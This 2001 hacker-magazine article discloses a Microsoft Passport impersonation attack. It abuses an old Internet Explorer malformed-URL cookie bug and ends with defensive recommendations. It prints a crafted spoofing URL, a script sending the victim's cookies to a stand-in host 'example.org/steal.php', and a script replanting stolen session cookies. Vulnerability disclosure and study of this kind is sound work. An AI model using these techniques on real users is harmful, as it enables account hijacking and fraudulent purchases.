Passport Hacking
Published in 2600: The Hacker Quarterly on 01 Aug 2001This article introduces a security vulnerability in Microsoft Passport. Specific details explaining how to compromise a user's Passport account as well as example code to do this will be given. However, this information is intended to be used as academic example. The objective is to give a rough analysis of web application security while illustrating some common misconceptions. I conclude with some suggestions for using the existing Passport mechanism as well as ways to improve its security.
Background
Passport is a mechanism created to allow users easier access of services offered over the Internet that require registration. The intent is that users may register for a Passport and then use services on various sites without having to register at each individual site, which is a hassle for the user in terms of time spent as well as continued password maintenance.
An additional feature of Passport is the Wallet. Having a Wallet allows you to store credit card information in addition to the personal information normally collected. This can be used at participating sites to make purchases. Future references to the Passport mechanism applies to both the Passport itself and the Wallet.
Cookies
A Passport is merely a collection of cookies stored on a user's computer. These cookies identify the user on a Passport enabled site. There is no server to server communication involved in the Passport mechanism; all communication is channeled through the user.
The various cookies set throughout this process are:
name | domain | secure | path | stored |
---|---|---|---|---|
BrowserTest | passport.com | No | / | memory |
MSPVis | passport.com | No | / | disk |
MSPDom | passport.com | No | / | disk |
MSPAuth | passport.com | No | / | disk |
MSPProf | passport.com | No | / | disk |
MSPSec | passport.com | Yes | /ppsecure | disk |
MSPRequ | login.passport.com | No | / | memory |
PWSVis | wallet.passport.com | Yes | / | memory |
PWSTok | wallet.passport.com | Yes | / | memory |
Internet Explorer prior to 5.5 has a cookie vulnerability that allows client-side scripts to reveal information stored in cookies not intended to be shared with the current server. Since the mechanism behind Passport is based entirely on cookies, the problems of this combination are obvious. The most startling result of my research has been the lack of major obstacles to complicate impersonation.
Encryption
A chain is only as strong as its weakest link. Sound familiar? It is astounding how many people are given a false sense of security because something is encrypted. The majority of the cookies mentioned in the previous section have encrypted values. You will notice that no attempt to decrypt these values is found anywhere in this article. Why not? Well, frankly, because it is difficult to do and absolutely unnecessary. While cryptography can be a very challenging academic subject to pursue, the point of this article is to show how easily a mechanism such as Passport can be compromised. Someone attempting to break into a web site will generally take the easiest route possible.
When a user goes to a Passport enabled site, the site itself does the decryption. By simply presenting the same encrypted cookies to the site as the legitimate user, anyone can impersonate that user. The only reason anyone would need to be able to decrypt the values in the cookies would be to create a Passport enabled site.
If this all sounds hauntingly familiar, it is because it addresses the same absurd misconceptions that have brought about the DeCSS lawsuit. Descrambling the contents of a DVD is only necessary if you want to play the DVD. For those wanting to copy the DVD, descrambling does absolutely nothing to help. The fact that some people do not understand this is not nearly as sickening as the attempts of the MPAA (and its supporters) to foster this ignorance.
HTTP
Most people who browse the Web are familiar with HTTP, although the details are too often ignored or unknown, even in the case of many web developers. To understand how I was able to compromise Microsoft Passport, a basic understanding of HTTP and how cookies work is helpful. There are many details of HTTP that this article will not discuss. Please refer to RFC 2616 for more information.
The basic HTTP scenario is a single transaction consisting of a request and a response. When a user is browsing, the browser makes a series of requests to the various web servers around the Internet that the user visits. These web servers in return give responses to the browser that are used to render the web pages.
The following is a sample request:
GET / HTTP/1.1
Host: shiflett.org
User-Agent: Mozilla/5.0
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Accept-Language: en-us
Accept-Encoding: gzip
Connection: keep-alive
This sample request is made to http://shiflett.org/
using a Mozilla browser (a fictitious User-Agent
is shown for brevity). The various headers (Host
, User-Agent
, Accept
, Accept-Language
, Accept-Encoding
, Connection
) represent a fraction of the possible headers allowed in the HTTP specification. Each header is intended to give the web server information that will help it serve the client's request.
The following is a sample response:
HTTP/1.1 200 OK
Date: Wed, 01 Aug 2001 22:00:00 GMT
Server: Protoscope 0.0.1
Connection: close
Set-Cookie: name=chris; domain=shiflett.org; Path=/;
Content-Length: 38
Content-Type: text/html
<html><h1>Protoscope 0.0.1</h1></html>
The sample response gives some information about the web server and the resource. Note that the headers in the response are separated from the content by two newlines. Also note that the Connection
header has a value of close
, while the Connection
header in the request had a value of keep-alive
. This somewhat describes the transactional behavior of HTTP. When the initial connection is made and the request given, the connection remains open until the response is provided (barring timeout conditions). Each transaction is atomic, which is one of the reasons why session management on the Web can be difficult to secure.
Most important in the sample response is the Set-Cookie
header. The sample shown will set a cookie called name
with a value of chris
. All other information contained in a Set-Cookie
header is access information used by the browser to determine whether to send the value of this cookie in subsequent requests. As we will see, none of the other information is returned to the server; only the name and value are provided. The cookie in this example remains in memory (rather than written to disk, because no expiration date is specified). It is only sent in requests made to shiflett.org
, and there is no restriction on the path. Each cookie to be set is passed in a separate Set-Cookie
header.
The last bit of information you need is how the browser communicates cookies back to the server. The following is a sample Cookie
header that is included in future requests:
Cookie: name=chris
Notice that no information other than the value of the cookie is given. All other information, as mentioned earlier, is only used to determine access requirements. If multiple cookies are sent, each one is listed in the same format (name=value
) and delimited by a semicolon (name=value; name2=value2
), thus only a single Cookie
header is sent.
The Vulnerability
Internet Explorer prior to version 5.5 has a major security vulnerability that can allow the intended access restrictions on cookies to be completely nullified. Due to the widespread use of vulnerable browsers (approximately 67.6% - browserwatch.com), this represents a significant risk.
Using a malformed URL, a web site may send client-side scripts to the vulnerable browser that cause it to reveal information contained in cookies that the server would otherwise be unable to read. This vulnerability is described at http://peacefire.org/security/iecookies/. Here is an example of such a URL:
https://shiflett.org%2freveal.php%3f.login.passport.com/ppsecure/
By using the URL encoded values of the slashes and question mark (%2f
and %3f
, respectively), this URL makes a page located at shiflett.org
appear to a vulnerable browser as if it is within the .login.passport.com
domain, using a secure connection (https
), and running within /ppsecure
. This URL is really the following:
https://shiflett.org/reveal.php?.login.passport.com/ppsecure/
Recall the Passport cookies listed earlier, and note that this gives us access to all cookies except for the two with a domain of .wallet.passport.com
(PWSVis
and PWSTok
). These last two can be compromised by replacing login
with wallet
in the previous example.
Vulnerable browsers do not interpret this URL incorrectly when making the HTTP request. This is significant for two reasons. One, the request is sent to the correct host (shiflett.org
). This is necessary, of course, for the compromise to work. The other thing to keep in mind is that the browser will not return the HTTP Cookie
header with the Passport cookies contained therein. Thus, we cannot use this header to extract the Passport cookies from the browser and must develop an alternate method. This is where client-side scripting comes in.
Client-Side Scripting
This demonstration uses JavaScript as the client-side scripting language. The following example script can be used within the reveal.php
page in the previous example to reveal all Passport cookies in the .passport.com
and .login.passport.com
domains and append this information to the URL of a link that will be used to trick the user into sending the cookie information back to our server. Conveniently, the format of document.cookie
is name=value; name2=value2
, so this can be sent in the query string on a URL as follows:
<script>
new Image().src =
'http://example.org/steal.php?cookies=' +
encodeURI(document.cookie);
</script>
Putting It All Together
We now have all the pieces necessary for a full compromise of all data contained within a Passport user's cookies. Once this data is captured, a pickup site must be developed for the purpose of recreating these cookies on the impersonator's browser. A web client can be created to perform the impersonation, which is more flexible in terms of avoiding security restrictions, but this is unfortunately not a necessary step in the compromise. The same browser vulnerability can be exploited, as can client-side scripting, to write the cookies. Here is an example of writing the MSPSec
cookie:
<script>
this.document.cookie = "MSPSec=<?php echo $mspsec; ?>;
domain=.passport.com;
path=/ppsecure;
expires=Wed, 30-Dec-2037 08:00:00 GMT;
secure;";
</script>
Notice the syntax is the same as in the Set-Cookie
header. Use this fact to help recreate each of the cookies used by Passport. With all cookies present from each of the three domains, it is possible to impersonate someone without ever being "inconvenienced" by having to enter their password. This includes the ability to view and edit personal information as well as purchase items using the stored credit card information.
Summary
Although this compromise is easy to accomplish, the most frightening discovery has been that the impersonation is successful even if the user has already logged out of Passport.
It is very difficult to create a perfectly secure mechanism using HTTP. However, there are several pieces of information consistently provided by browsers that can help validate a legitimate user. This information could be stored within some of the cookies used by the Passport mechanism to add an extra level of security that would make attacks such as this far more difficult.
For example, if the hashed value of the User-Agent
header was contained within one of the cookies, it would be necessary to send the same User-Agent
header. This would certainly not be impossible to accomplish, but it would complicate matters a bit. Another security measure would be to time out the mechanism within a smaller window of time, thus forcing the user to reenter the password upon timeout regardless of any preferences the user is allowed to make. Also, users should always be required to provide their password before purchasing items using the Wallet. Convenience should not always take precedence over security.
Most importantly, a user who logs out of Microsoft Passport should be safe from impersonation. This is not currently the case and represents the largest mistake Microsoft has made in its implementation.
Usage Suggestions
If you are a user of Microsoft Passport, it is recommended that you browse with great care. Do not ever check the box when logging into Passport that reads Sign me in automatically on this computer. This creates the MSPSec
cookie documented above that is used to automatically log you in without having to reenter your password at participating sites. When this cookie is compromised, it represents the greatest danger to your account.
It is also recommended that you only log into Passport before browsing sites that require Passport and log out immediately after your visit. Logging out essentially destroys the majority of your cookies, so that they cannot be compromised by further browsing.
I strongly recommend that you do not use a browser with the vulnerability I have described. If you are using Internet Explorer (all versions prior to 5.5), and wish to continue using it, there is a patch available to repair this bug.
Final Note
There are likely many other weaknesses to be found in the Passport mechanism. Impersonating a Passport enabled site is probably the easiest way to compromise someone's account, as it only requires that you fool someone into providing their login credentials to your web site. (This is now being described as phishing.) Since this requires no understanding of how Passport is implemented, it would be a useless exercise in terms of academic achievement.
The attack illustrated in this article will hopefully provide a better understanding of current technologies and provide a clearer understanding of the types of challenges web developers are facing. Although all information necessary for a complete compromise is given, please don't use such information in an unethical manner, as such an act would completely miss the point.